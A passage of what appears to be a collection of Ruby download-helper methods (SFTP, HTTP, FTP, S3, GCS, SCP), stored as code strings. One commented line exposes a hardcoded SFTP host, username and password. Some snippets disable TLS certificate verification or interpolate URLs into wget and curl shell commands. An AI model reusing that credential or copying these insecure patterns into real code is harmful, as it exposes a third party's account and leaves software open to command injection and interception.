downloadRemotefiles\n logger.debug(\"DOWNLOADING FILES.\")\n #sftp= Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1')\n #ENV.fetch(\"WORKHORSE_HOST_SERVER\"), ENV.fetch(\"WORKHORSE_HOST_USERNAME\"), :password => ENV.fetch(\"WORKHORSE_HOST_PASSWORD\")\n Net::SFTP.start(ENV.fetch(\"WORKHORSE_HOST_SERVER\"), ENV.fetch(\"WORKHORSE_HOST_USERNAME\"), :password => ENV.fetch(\"WORKHORSE_HOST_PASSWORD\")) do |sftp|\n sftp.dir.glob(WORKHORSE_TO_SALSIFY, \"*\").each do |file|\n fileName = file.name\n sftp.download(File.join(WORKHORSE_TO_SALSIFY, \"/\", fileName), File.join(LOCAL_DIR, fileName))\n if File.extname(fileName).eql?(\".zip\")\n zipFiles.push(fileName)\n end\n end\n end\n logger.debug(\"FILES DOWNLOADED.\")\n end", "def download_files(url, path)\n client = RightSupport::Net::HTTPClient.new\n response = client.get(url, :timeout => 10)\n File.open(path, \"wb\") { |file| file.write(response) } unless response.empty?\n File.exists?(path)\n rescue Exception => e\n Log.error(\"#{e.class.name}: #{e.message} - #{e.backtrace.first}\")\n false\n end", "def write_to_folder\n File.open(prepare_file_path_to_download, 'w') do |file|\n file.write(response[:content])\n end\n end", "def download(ci_project_name)\n bucket_items = gcs_storage.list_objects(BUCKET, prefix: ci_project_name).items\n\n files_list = bucket_items&.each_with_object([]) do |obj, arr|\n arr << obj.name\n end\n\n return puts \"\\nNothing to download!\" if files_list.blank?\n\n FileUtils.mkdir_p('tmp/')\n\n files_list.each do |file_name|\n local_path = \"tmp/#{file_name.split('/').last}\"\n Runtime::Logger.info(\"Downloading #{file_name} to #{local_path}\")\n file = gcs_storage.get_object(BUCKET, file_name)\n File.write(local_path, file[:body])\n\n Runtime::Logger.info(\"Deleting #{file_name} from bucket\")\n gcs_storage.delete_object(BUCKET, file_name)\n end\n\n puts \"\\nDone\"\n end", "def download_sources(url)\n filename = \"v#{version}.tar.gz\"\n cached_sources = File.join(SOURCES_CACHE_DIR, filename)\n\n if CfObsBinaryBuilder::CACHE_SOURCES\n FileUtils.mkdir_p(SOURCES_CACHE_DIR)\n if !File.exist?(cached_sources)\n system(\"wget #{url} -O #{cached_sources}\")\n end\n FileUtils.copy(cached_sources, filename)\n else\n system(\"wget #{url} -O #{filename}\")\n end\n end", "def download(url)\n at = DateTime.strptime(url.split('/').last, '%Y%m%d')\n dir = Rails.root.join('lib', 'data', at.strftime('%Y%m%d'))\n\n FileUtils::mkdir_p dir\n\n start = DateTime.now\n total = (PREDICTION_MAX_HOURS/HOUR_RESOLUTION).ceil * PREDICTION_PERIODS.count\n\n # build the queue of datasets to download\n datasets = Queue.new\n number_completed = 0\n\n PREDICTION_PERIODS.each do |period|\n (0..PREDICTION_MAX_HOURS).step(HOUR_RESOLUTION).each do |hour_offset|\n datasets << \"#{url}gfs_4_#{at.strftime('%Y%m%d')}_#{period}_#{hour_offset.to_s.rjust(3, '0')}.grb2\"\n end\n end\n\n # make a pool to download them\n threads = [THREAD_POOL_SIZE, datasets.size].min\n workers = []\n\n threads.times do\n workers << Thread.new do\n begin\n while (file_url = datasets.pop(true)).present?\n download_file file_url, dir\n\n number_completed += 1\n\n if number_completed % (total / 10).to_i == 0\n percentage = (100*number_completed/total.to_f)\n elapsed = (DateTime.now - start).to_f * 1.day\n remaining = elapsed / (percentage / 100) - elapsed\n\n puts \"#{percentage.round(1).to_s.rjust(5)}% complete (#{elapsed.round(2)}s elapsed, #{remaining.round(2)}s remaining)\"\n end\n end\n rescue ThreadError\n end\n end\n end\n\n workers.map(&:join)\n\n # logs!\n elapsed = (DateTime.now - start).to_f * 1.day\n puts \"#{elapsed.round(2)}s to download #{url.split('/').last} (#{total} checked)\".green\n\n GribConvert::convert_folder dir, serial: true\n end", "def zip_download\n require 'zip'\n require 'tempfile'\n\n tmp_dir = ENV['TMPDIR'] || \"/tmp\"\n tmp_dir = Pathname.new tmp_dir\n # Deepblue::LoggingHelper.debug \"Download Zip begin tmp_dir #{tmp_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download begin\", \"tmp_dir=#{tmp_dir}\" ]\n target_dir = target_dir_name_id( tmp_dir, curation_concern.id )\n # Deepblue::LoggingHelper.debug \"Download Zip begin copy to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"target_dir=#{target_dir}\" ]\n Dir.mkdir( target_dir ) unless Dir.exist?( target_dir )\n target_zipfile = target_dir_name_id( target_dir, curation_concern.id, \".zip\" )\n # Deepblue::LoggingHelper.debug \"Download Zip begin copy to target_zipfile #{target_zipfile}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"target_zipfile=#{target_zipfile}\" ]\n File.delete target_zipfile if File.exist? target_zipfile\n # clean the zip directory if necessary, since the zip structure is currently flat, only\n # have to clean files in the target folder\n files = Dir.glob( (target_dir.join '*').to_s)\n Deepblue::LoggingHelper.bold_debug files, label: \"zip_download files to delete:\"\n files.each do |file|\n File.delete file if File.exist? file\n end\n Deepblue::LoggingHelper.debug \"Download Zip begin copy to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"begin copy target_dir=#{target_dir}\" ]\n Zip::File.open(target_zipfile.to_s, Zip::File::CREATE ) do |zipfile|\n metadata_filename = curation_concern.metadata_report( dir: target_dir )\n zipfile.add( metadata_filename.basename, metadata_filename )\n export_file_sets_to( target_dir: target_dir, log_prefix: \"Zip: \" ) do |target_file_name, target_file|\n zipfile.add( target_file_name, target_file )\n end\n end\n # Deepblue::LoggingHelper.debug \"Download Zip copy complete to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"download complete target_dir=#{target_dir}\" ]\n send_file target_zipfile.to_s\n end", "def download\n # Check if we already have a functional working_directory\n return if @working_directory && Dir.exist?(@working_directory)\n\n # No existing working directory, creating a new one now\n self.working_directory = Dir.mktmpdir\n\n s3_client.find_bucket!(s3_bucket).objects.each do |object|\n file_path = object.key # :team_id/path/to/file\n download_path = File.join(self.working_directory, file_path)\n\n FileUtils.mkdir_p(File.expand_path(\"..\", download_path))\n UI.verbose(\"Downloading file from S3 '#{file_path}' on bucket #{self.s3_bucket}\")\n\n object.download_file(download_path)\n end\n UI.verbose(\"Successfully downloaded files from S3 to #{self.working_directory}\")\n end", "def download\n ark_path = ::File.basename(new_resource.path)\n prefix_path = ::File.dirname(new_resource.path)\n\n directory prefix_path do\n action :create\n recursive true\n end\n\n ark ark_path do\n checksum new_resource.checksum\n prefix_home prefix_path\n prefix_root prefix_path\n url new_resource.url\n version new_resource.version\n end\nend", "def download_to_server full_url, path, ext\n require 'open-uri'\n\n user_directory = IMAGE_DIRECTORY + \"/#{session[:access_token].params['edam_userId']}\"\n unless File.directory? IMAGE_DIRECTORY\n Dir::mkdir( IMAGE_DIRECTORY ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n unless File.directory? user_directory\n Dir::mkdir( user_directory ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n file_name = user_directory + \"/\" + path + '.' + ext\n\n # TODO is this instance variable visible from the controller which include this module?\n @selected_file << file_name\n unless File.exists?(file_name)\n File.open(file_name, 'wb') do |output|\n # Download image\n # TODO: handle if session access token is nil\n open(full_url + \"?auth=#{session[:access_token].token}\") do |input|\n output << input.read\n end\n end\n end\n end", "def download_files local_dir, remote_dir,remote_files,opts = {}\n safe_fetch do\n @ssh.sftp.connect do |sftp|\n Logger.<<(__FILE__,\"INFO\",\"Will start download #{remote_dir}/* from #{@host} to #{local_dir}...\")\n dls = remote_files.map do |remote_file|\n local_path = \"#{local_dir}/#{remote_file}\"\n sftp.download(\"#{remote_dir}/#{remote_file}\",local_path)\n end\n dls.each {|d| d.wait}\n Logger.<<(__FILE__,\"INFO\",\"Downloaded #{dls.size} files from #{remote_dir} at #{@host}\")\n end\n end\n end", "def perform\n fetch_urls\n download_all\n create_mosaic\n cleanup\n end", "def download_thread\n Thread.new do\n file = nil\n until @download_list.empty?\n @download_mutex.synchronize do\n file = @download_list.pop\n end\n next if file.nil?\n # AWS stores directories as their own object\n next if file.content_length == 0 && file.key =~ /\\/$/\n\n tmp = Tempfile.new(file.object_id.to_s)\n @source_container.files.get(file.key) do |data, rem, cl|\n tmp.syswrite(data)\n end\n tmp.flush\n tmp.rewind\n @upload_mutex.synchronize do\n @upload_list.push(body: tmp, key: file.key)\n end\n end\n end\n end", "def fetch_all\n downloaded = 0\n megabyte = 1024 * 1024\n mb_down = 0\n File.open(@file, 'wb+') do |file|\n @downloader.parts do |part|\n begin\n @server.request_get(part, @headers) do |res|\n res.read_body do |body|\n file.write body\n end\n end # /@server\n rescue Timeout::Error, EOFError, Errno::ECONNRESET => exception\n yield -1\n @server = Net::HTTP.start(@base_url.host, @base_url.port)\n STDERR.puts \"Connection error...\"\n retry\n end\n\n yield part\n end # /parts\n end # /File\n end", "def run(start_url, source_name)\r\n raw_source_dir = File.join(@archieves_root, source_name)\r\n create_if_missing(raw_source_dir)\r\n url = start_url\r\n\tid = 0\r\n\twhile (not url.nil?) && (id < @end_count)\r\n puts 'extracting ' + url + ' ...............'\r\n begin\r\n source = open(url)\r\n content = source.respond_to?(:read) ? source.read : source.to_s\r\n raw_source_path = File.join(raw_source_dir, id.to_s + '.htm')\r\n File.new(raw_source_path, 'w').puts(content)\r\n puts 'finshed archiving ' + url + ' ____________________'\r\n content = gbk_to_utf8(content) #assume gb2312 encoding\r\n\t\tnext_url = get_next_page_url(content)\r\n\t\tid = id + 1\r\n rescue\r\n puts $!\r\n puts('[Error] can not read url: ' + url + '!');\r\n\t break\r\n end\r\n\t url = next_url\r\n\tend\r\n\tputs 'finished all arhieve work --------------------------'\r\n end", "def download_fct(target,\n url_to_download,\n count,\n total)\n Log.log_debug('Into download_fct (target=' + target +\n ') url_to_download=' + url_to_download +\n ' count=' + count.to_s +\n ' total=' + total.to_s)\n\n downloaded_filenames = {}\n unless %r{^(?<protocol>.*?)://(?<srv>.*?)/(?<dir>.*)/(?<name>.*)$} =~ url_to_download\n raise URLNotMatch \"link: #{url_to_download}\"\n end\n #\n common_efixes_dirname = get_flrtvc_name(:common_efixes)\n temp_dir = get_flrtvc_name(:temp_dir)\n tar_dir = get_flrtvc_name(:tar_dir)\n #\n if name.empty?\n #############################################\n # URL ends with /, look into that directory #\n #############################################\n case protocol\n when 'http', 'https'\n begin\n uri = URI(url_to_download)\n http = Net::HTTP.new(uri.host, uri.port)\n http.read_timeout = 10\n http.open_timeout = 10\n http.use_ssl = true if protocol.eql?('https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if protocol.eql?('https')\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n subcount = 0\n if response.is_a?(Net::HTTPResponse)\n b_download = 0\n response.body.each_line do |response_line|\n next unless response_line =~ %r{<a href=\"(.*?.epkg.Z)\">(.*?.epkg.Z)</a>}\n url_of_file_to_download = ::File.join(url_to_download, Regexp.last_match(1))\n local_path_of_file_to_download = \\\n ::File.join(common_efixes_dirname, Regexp.last_match(1))\n Log.log_debug('Consider downloading ' +\n url_of_file_to_download +\n ' into ' +\n common_efixes_dirname +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n if !::File.exist?(local_path_of_file_to_download)\n # Download file\n Log.log_info('Downloading ' + url_of_file_to_download.to_s +\n ' into ' + common_efixes_dirname.to_s +\n ' and keeping into ' + local_path_of_file_to_download.to_s +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n b_download = download(target,\n url_of_file_to_download,\n local_path_of_file_to_download,\n protocol)\n else\n Log.log_debug('Not downloading ' + url_of_file_to_download.to_s +\n ' : already into ' + local_path_of_file_to_download.to_s +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n b_download = 0\n end\n downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n subcount += 1\n end\n Log.log_debug('Into download_fct (target=' +\n target +\n ') http/https url_to_download=' +\n url_to_download +\n ', subcount=' +\n subcount.to_s)\n end\n rescue Timeout::Error => error\n Log.log_err(\"Timeout sending event to server: #{error}\")\n raise 'timeout error'\n end\n when 'ftp'\n #\n ftp_download_result = ftp_download(target,\n url_to_download,\n count,\n total,\n srv,\n dir,\n common_efixes_dirname)\n Log.log_debug('After download_fct name.empty ftp')\n downloaded_filenames.merge(ftp_download_result)\n else\n raise \"protocol must be either 'http', 'https', ftp'\"\n end\n elsif name.end_with?('.tar')\n #####################\n # URL is a tar file #\n #####################\n local_path_of_file_to_download = ::File.join(tar_dir, name)\n Log.log_debug('Consider downloading ' +\n url_to_download +\n ' into ' +\n tar_dir +\n \" : #{count}/#{total} fixes.\")\n if !::File.exist?(local_path_of_file_to_download)\n # download file\n Log.log_info(\"Downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n b_download = download(target,\n url_to_download,\n local_path_of_file_to_download,\n protocol)\n #\n if b_download == 1\n # We untar only if the tar file does not yet exist.\n # We consider that if tar file already exists,\n # then it has been already untarred.\n Log.log_debug(\"Untarring #{local_path_of_file_to_download} \\\ninto #{temp_dir} : #{count}/#{total} fixes.\")\n untarred_files = untar(local_path_of_file_to_download, temp_dir)\n # Log.log_debug(\"untarred_files = \" + untarred_files.to_s)\n #\n subcount = 1\n Log.log_debug('Copying ' + untarred_files.to_s + \\\n' into ' + common_efixes_dirname)\n untarred_files.each do |filename|\n # Log.log_debug(\" copying filename \" + filename\n # +\": #{count}.#{subcount}/#{total} fixes.\")\n FileUtils.cp(filename, common_efixes_dirname)\n downloaded_filenames[::File.basename(filename)] = b_download\n subcount += 1\n end\n elsif b_download == 0\n Log.log_debug(\"Not downloading #{url_to_download} : already \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n tarfiles = tar_tf(local_path_of_file_to_download)\n tarfiles.each { |x| downloaded_filenames[::File.basename(x)] = 0 }\n else\n Log.log_err(\"Error while downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n downloaded_filenames[url_to_download] = -1\n end\n else\n Log.log_debug(\"Already downloaded : not downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n tarfiles = tar_tf(local_path_of_file_to_download)\n tarfiles.each { |x| downloaded_filenames[::File.basename(x)] = 0 }\n end\n elsif name.end_with?('.epkg.Z')\n #######################\n # URL is an efix file #\n #######################\n local_path_of_file_to_download =\n ::File.join(common_efixes_dirname, ::File.basename(name))\n Log.log_debug('Consider downloading ' +\n url_to_download +\n ' into ' +\n local_path_of_file_to_download +\n \" : #{count}/#{total} fixes.\")\n if !::File.exist?(local_path_of_file_to_download)\n # download file\n Log.log_info(\"Downloading #{url_to_download} \\\ninto #{local_path_of_file_to_download} : #{count}/#{total} fixes.\")\n b_download = download(target,\n url_to_download,\n local_path_of_file_to_download,\n protocol)\n else\n Log.log_debug(\"Not downloading #{url_to_download} : already into \\\n #{local_path_of_file_to_download} \\\n: #{count}/#{total} fixes.\")\n b_download = 0\n end\n downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n end\n #\n Log.log_info('Into download_fct returning ' +\n downloaded_filenames.to_s)\n downloaded_filenames\n end", "def download_detail_html_pages_fast\n start = Time.now\n\n\n # get all ids\n all_ids = CSV.read(\"#{@listings_folder}/merged_ids.csv\")[1..-1].map{|x| x[0]}\n\n # create folder if not exist\n FileUtils.mkdir_p @details_folder\n\n # get ids that have already been downloaded\n existing_files = Dir.glob(\"#{@details_folder}/*.html\")\n remaining_ids = if existing_files.nil? || existing_files.length == 0\n all_ids\n else\n existing_files.map!{|x| x.split('/').last.gsub('.html', '')}\n\n # determine the remaining ids that need to be retrieved\n all_ids - existing_files\n end\n\n if remaining_ids.nil? || remaining_ids.length == 0\n puts \"there are NO files to download\"\n else\n puts \"there are #{remaining_ids.length} files to download\"\n\n #initiate hydra\n hydra = Typhoeus::Hydra.new(max_concurrency: 20)\n request = nil\n total_left_to_process = remaining_ids.length\n\n remaining_ids.each_with_index do |id, index|\n if index%50 == 0\n puts \"#{index} files added to queue so far in #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n # request the url\n request = Typhoeus::Request.new(\"#{@details_url}#{id}\", followlocation: true, ssl_verifypeer: false, ssl_verifyhost: 0)\n\n request.on_complete do |response|\n # save to file\n x = File.open(\"#{@details_folder}/#{id}.html\", 'wb') { |file| file.write(response.response_body) }\n\n # decrease counter of items to process\n total_left_to_process -= 1\n if total_left_to_process == 0\n puts \"TOTAL TIME TO DOWNLOAD = #{((Time.now-start)/60).round(2)} minutes\"\n\n elsif total_left_to_process % 100 == 0\n puts \"\\n\\n- #{total_left_to_process} files remain to download; time so far = #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n end\n hydra.queue(request)\n end\n\n hydra.run\n\n end\nend", "def b2_generate_file_url(file, *folder)\n\n subdir = \"#{folder[0]}/\" if folder[0] != nil\n\n return \"#{ENV['download_url']}#{subdir}#{file}\"\n\nend", "def perform\n # before downloading we have to check if file exists. checkfiles service\n # also gives us information for the download: hostname, file size for\n # progressbar\n return self unless self.check\n\n file = open(File.join(@downloads_dir, @filename), 'wb')\n block_response = Proc.new do |response|\n downloaded = 0\n total = response.header['content-length'].to_i\n\n unless total == @filesize\n @error = 'Access denied'\n return self\n end\n\n response.read_body do |chunk|\n file << chunk\n downloaded += chunk.size\n progress = ((downloaded * 100).to_f / total).round(2)\n yield chunk.size, downloaded, total, progress if block_given?\n end\n end\n\n RestClient::Request.execute(:method => :get,\n :url => self.download_link,\n :block_response => block_response)\n file.close()\n @downloaded = true\n self\n end", "def dump_and_download_to!(local_working_dir)\n dump!\n download_to!(local_working_dir)\n ensure\n clean_dump_if_needed!\n end", "def download_chapter\n\t\t\t@manga_volume == '' ? vol = '' : vol = \"/\" + @manga_volume\n\t\t\twebpages = get_page_links(\"/manga/#{@manga_name}#{vol}/#{@manga_chapter}/\")\n\t\t\tthreads = []\n\t\t\ti = 0\n\t\t\t\n\t\t\twebpages.each do |wp| \n\t\t\t\timagelink = get_image_link(wp)\n\t\t\t\tthreads << Thread.new{\n\t\t\t\t\ti += 1\n\t\t\t\t\tdownload_image(imagelink, \"#{@manga_name}_#{@manga_volume}_#{@manga_chapter}_#{i.to_s}\")\n\t\t\t\t\tprint($LOG += \"\\nDownloaded: #{imagelink} in #{@path_to_download}\\\\#{@manga_name}_#{@manga_volume}_#{@manga_chapter}_#{i.to_s}\")\n\t\t\t\t}\n\t\t\tend\n\t\t\t\n\t\t\tthreads.each(&:join)\n\t\t\tprint($LOG += \"\\nDownload complete.\")\n\t\tend", "def download_paper(links)\n \n filename = \"\";\n\n links.each do |link|\n puts \"trying: \\t\"+link\n \n # prvne zkontroluji, zda stranka nevraci 404\n parsed_url = URI.parse(link)\n response = Net::HTTP.get_response(parsed_url)\n \n case response\n when Net::HTTPSuccess then\n puts \"downloading\"\n data = Net::HTTP.get(URI.parse(link))\n\n # pokud je soubor z cache - musi se typ souboru dostat z URL - parametr type\n if(link =~ /^#{Regexp.escape(@url)}.*/)\n regex = Regexp.new(/type=([a-z]+)/)\n ext = \".\"+regex.match(link).to_a[1]\n #jinak se pouzije nazev souboru\n else\n ext = File.extname(link)\n end\n\n hash = self.get_hashed_filename(link)\n filename = hash + ext \n\n # ulozi soubor do prislusne slozky\n self.save_paper_file(filename, data)\n break;\n\n else \n puts \"nelze stahnout!!!1\"\n next # jinak skoci na dalsi soubor\n end\n end # .each\n\n puts \"soubor: \\t\"+filename\n\n if(filename == \"\")\n return nil\n else \n return filename\n end\n end", "def download_protocol_images(page, district_dir, district_id, precinct_id)\n ##################\n # GET HTML PAGE\n ##################\n begin\n @logger_info.info(\"Retrieving: #{page}\")\n agent = Mechanize.new { |agent| agent.user_agent_alias = \"Mac Firefox\" }\n html = agent.get(page).body\n @logger_info.info(\"Retrieved page: #{page}\")\n rescue => e\n @logger_error.error(\"Unable to retrieve: #{page} | #{e}\")\n end\n\n ##################\n # GET IMAGES\n ##################\n doc = Nokogiri::HTML(html)\n images = doc.css(\"img\")\n links = images.map { |i| i['src']}\n amend_count = 1\n\n if links.length > 1\n links.each_with_index do |value,index|\n if index > 0\n img_uri = value.sub('../../','')\n img_url = \"http://#{@url}/#{img_uri}\"\n img_bname = \"#{district_id}-#{precinct_id}\"\n\n begin\n unless File.exists?(\"#{district_dir}#{img_bname}_amendment_#{amend_count}.jpg\")\n @logger_info.info(\"Downloading amendment: #{img_bname}\")\n open(\"#{district_dir}#{img_bname}_amendment_#{amend_count}.jpg\", 'wb') do |pfile|\n puts \"Downloading: #{district_dir}#{img_bname}_amendment_#{amend_count}.jpg\"\n pfile << open(img_url).read\n end\n @logger_info.info(\"Downloaded amendment: #{img_bname}\")\n amend_count += 1\n @amend_counter += 1\n end\n rescue => e\n @logger_error.error(\"Download failed: #{img_bname} | #{e}\")\n next\n end\n end # if index\n end # links\n end\n\n sleep(0)\nend", "def download_and_extract(filename, extractables)\n downloader = self.download(filename.to_s)\n downloaded_file = downloader.download_to\n self.extract(downloaded_file, extractables)\n end", "def getlist(url)\n @url = url\n doc = Nokogiri::HTML(open(@url))\n # @fileset = doc.css(\"td a\")[1..-1]\n @fileset = doc.css(\"td a\")[1,1] #revert to above after testing\n @fileset.each do |item|\n @docname = item.text\n puts \"Downloading #{@docname}\"\n # download the zip files\n download(@url, @docname, \"/vagrant/src/ruby/JobSearch/nuvi/download/\")\n # unzip(@docname, @downloadpath)\n @zipcount += 1\n end\n @zipcount == @fileset.length ? (puts \"Retrieved #{@zipcount} zip files.\") : (puts \"missed a few\")\nend", "def download_folder(folder_name)\n bucket_name = 'secrets-dev'\n files = @s3.list_objects(bucket: bucket_name)\n FileUtils.mkdir_p(folder_name)\n\n files.contents.each do |obj|\n next unless obj.key =~ /^#{folder_name}\\//\n file = File.new(\"#{obj.key}\", \"w\")\n file.binmode\n\n io_ref = @s3.get_object(bucket: bucket_name, key: obj.key)\n file.write io_ref.body.read\n file.close\n end\n end", "def download_in_background options={}\n begin\n self.download( options.merge( { :fork => true } ) )\n rescue Exception => e\n SCRAPER_LOG.error( \"Skipped dowloading '#{location}': #{e.message}\" )\n end\n end", "def parallel_download(urls_targets_hash_list, storage_path)\n preexisting_folders = Dir.entries(storage_path)\n logger.debug \"Before parallel_download, folders exist: #{preexisting_folders}\"\n Parallel.each(urls_targets_hash_list, in_threads: 32) {|url_target_pair|\n # Download image\n basename = File.basename(url_target_pair[:url], \".*\")\n basename_with_ext = File.basename(url_target_pair[:url])\n this_image_subfolder = File.join(storage_path, basename)\n logger.debug \"Making directory: #{this_image_subfolder}\"\n if (File.exist? this_image_subfolder)\n FileUtils.rm_rf(this_image_subfolder)\n end\n Dir.mkdir(this_image_subfolder) # Create folder\n path = File.join(this_image_subfolder, basename_with_ext)\n downloadImageToPath(url_target_pair[:url], path)\n # Create textfile\n this_image_label_path = File.join(this_image_subfolder, basename + \".txt\")\n this_image_label = url_target_pair[:target]\n File.open(this_image_label_path, 'w') do |f|\n f.write(toYoloFormat(this_image_label))\n end\n }\n end", "def download_and_unpack_archive(uri, root)\n # all file types filtered here should be handled inside block.\n if uri.end_with?('.tgz', '.tar.gz', '.zip', 'jar')\n if uri.include? '://'\n print \"-----> Downloading from #{uri} ... \"\n else\n filename = File.basename(uri)\n print \"-----> Retrieving #{filename} ... \"\n end\n download_start_time = Time.now\n LibertyBuildpack::Util::Cache::ApplicationCache.new.get(uri) do |file|\n puts \"(#{(Time.now - download_start_time).duration})\"\n install_archive(file, uri, root)\n end\n else\n # shouldn't happen, expect index.yml or component_index.yml to always\n # name files that can be handled here.\n puts \"Unknown file type, not downloaded, at #{uri}\"\n end\n end", "def download_files_from_vm(host, files)\n return if files.values.all?{|f| File.readable?(f)}\n files.values.each{|f| FileUtils.mkdir_p(File.dirname(f))}\n scp_connect(host) do |scp|\n files.each do |src, dest|\n scp.download(src, dest)\n end\n end\n end", "def fetch!\n\n open(fetch_txt_file) do |io|\n \n io.readlines.each do |line|\n \n (url, length, path) = line.chomp.split(/\\s+/, 3)\n \n add_file(path) do |io|\n io.write open(url)\n end\n \n end\n \n end\n\n # rename the old fetch.txt\n Dir[\"#{fetch_txt_file}.?*\"].sort.reverse.each do |f|\n \n if f =~ /fetch.txt.(\\d+)$/\n new_f = File.join File.dirname(f), \"fetch.txt.#{$1.to_i + 1}\"\n FileUtils::mv f, new_f\n end\n \n end\n\n # move the current fetch_txt\n FileUtils::mv fetch_txt_file, \"#{fetch_txt_file}.0\"\n end", "def cleanDownloads()\n dir(\"#{DOWNLOADS_DIR}/*\").each do |path|\n if path != PREV_DOWNLOADS_DIR\n # colourFile(path)\n moveOldDownload(path)\n end\n end\n end", "def fetch(base_url, file_name, dst_dir)\n FileUtils.makedirs(dst_dir)\n src = \"#{base_url}/#{file_name}\"\n dst = File.join(dst_dir, file_name)\n if File.exists?(dst)\n logger.notify \"Already fetched #{dst}\"\n else\n logger.notify \"Fetching: #{src}\"\n logger.notify \" and saving to #{dst}\"\n open(src) do |remote|\n File.open(dst, \"w\") do |file|\n FileUtils.copy_stream(remote, file)\n end\n end\n end\n return dst\n end", "def download(download_dir)\n @downloaded_file = File.join(download_dir,\"label_mapping.tsv.gz\")\n \n @log.info \"Downloading from SIDER to #{@downloaded_file}\" if @log\n system(\"curl -o #{@downloaded_file} -i ftp://sideeffects.embl.de/SIDER/latest/label_mapping.tsv.gz\")\n system(\"gunzip #{@downloaded_file}\")\n \n @file = File.join(download_dir,\"label_mapping.tsv\")\n end", "def download(from, to = from.split(\"/\").last)\n #run \"curl -s -L #{from} > #{to}\"\n file to, open(from).read\nrescue\n puts \"Can't get #{from} - Internet down?\"\n exit!\nend", "def download_and_read_docs\n return enum_for :download_and_read_docs unless block_given?\n\n tmpdir = '/tmp/rugments'\n php_manual_url = 'http://us3.php.net/distributions/manual/php_manual_en.tar.gz'\n\n sh \"rm -rf #{tmpdir}\" if Dir.exist?(tmpdir)\n sh \"mkdir -p #{tmpdir}\"\n Dir.chdir(tmpdir) do\n sh \"curl -L #{php_manual_url} | tar -xz\"\n\n Dir.chdir('./php-chunked-xhtml') do\n Dir.glob('./ref.*').sort.each { |x| yield File.read(x) }\n end\n end\nend", "def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend", "def download\n get_metadata\n check_prog_id\n generate_filename\n download_stream\n ffmpeg\n tag\n cleanup\n end", "def download_all_objects(objects, type)\n subdir = type + 's'\n puts \"Found #{objects.count} #{type}s, downloading...\"\n\n count = skip_count = 0\n objects.each do |info|\n id = info['id']\n if File.exist?(Utils.filepath(id, subdir: subdir))\n skip_count += 1\n next\n end\n\n send(\"save_#{type}_to_file\", id, name: id.to_s, output: false)\n count += 1\n printf(\"\\rDownloaded %d #{type}s, skipped %d, current id = %d\", count, skip_count, id)\n end\n puts ''\n puts \"Saved #{count} #{type}s to data/#{subdir} subdirectory\"\n end", "def download_dir(remote_dir, local_dir)\t\t\n\t\tputs \"Downloading remote dir \" + remote_dir + \" to local dir \" + local_dir\n\t\[email protected](remote_dir)\n\t\titems = @ftp.ls\n\t\tdirectories = Array.new\n\t\tfiles = Array.new\n\t\t\n\t\titems.each do |line|\n\t\t\tif dir = line.match(@@dir_regex)\n\t\t\t\tif dir[1].eql?(\".\") || dir[1].eql?(\"..\")\n\t\t\t\t\titems.delete(dir)\n\t\t\t\telse\n\t\t\t\t\tdirectories.push(dir[1])\n\t\t\t\tend\n\t\t\telsif file = line.match(@@file_regex)\n\t\t\t\tfiles.push(file[1])\t\n\t\t\tend\t\n\t\t\t#items.delete(line)\n\t\tend\n\t\n\t\tputs \"Downloading files from \" + @ftp.pwd + \"...\"\n\n\t\tfiles.each do |file|\n\t\t\tputs \"\\tFile: \" + file\n\t\t\[email protected](file, local_dir + file)\n\t\tend\n\t\tputs \"Downloading directories from \" + @ftp.pwd + \"...\"\n\t\tdirectories.each do |dir|\n\t\t\tif !File.directory?(local_dir + dir)\n\t\t\t\tputs \"Creating local dir \" + local_dir + dir\n\t\t\t\tDir.mkdir(local_dir + dir)\n\t\t\tend\n\t\t\tdir << \"/\"\n\t\t\tdownload_dir(remote_dir + dir, local_dir + dir)\n\t\tend\n\t\[email protected](\"./\")\n\tend", "def docDownloadImages\n puts \"Downloading images\"\n \n externalImages = \"EXTERNAL IMAGES:\\n\"\n \n # Find all files.\n n = 0\n Pathname.glob(pathDocuments() + \"**/*.html\").each do |filePath|\n n = n + 1\n puts \"Processing File \" + n.to_s + \": \" + filePath.to_s\n # Iterate over all images in the file.\n html = fileReadContent(filePath)\n html.scan(/<img.*?>/) do |imgTag|\n puts \" img: \" + imgTag\n # Get the scr url of the img tag\n # and download and save image.\n url = docGetImageDownloadURL(imgTag)\n if url != nil then\n\t destFile = docGetImagePath(url, filePath.parent)\n puts \" downloading from: \" + url\n puts \" writing image to: \" + destFile.to_s\n docDownloadImage(url, destFile)\n puts \" done\"\n\t else\n\t puts \" *** IMAGE NOT DOWNLOADED: \" + imgTag\n # A hack indeed.\n externalImages += filePath.to_s + \": \" + $lastImageUrl + \"\\n\"\n end\n end\n end\n \n puts externalImages\nend", "def download_mut_deps( mut_dir )\n FileUtils.chdir mut_dir, :verbose => verbose?\n cmd = \"puppet module build --render-as=json\"\n puts cmd if verbose?\n tgz = `#{cmd}`.split(\"\\n\").last.gsub('\"','')\n puts \"built module archive: #{tgz}\" if verbose?\n cmd = \"puppet module install #{tgz} \" +\n \"--module_repository=#{@upstream_puppet_forge} \" 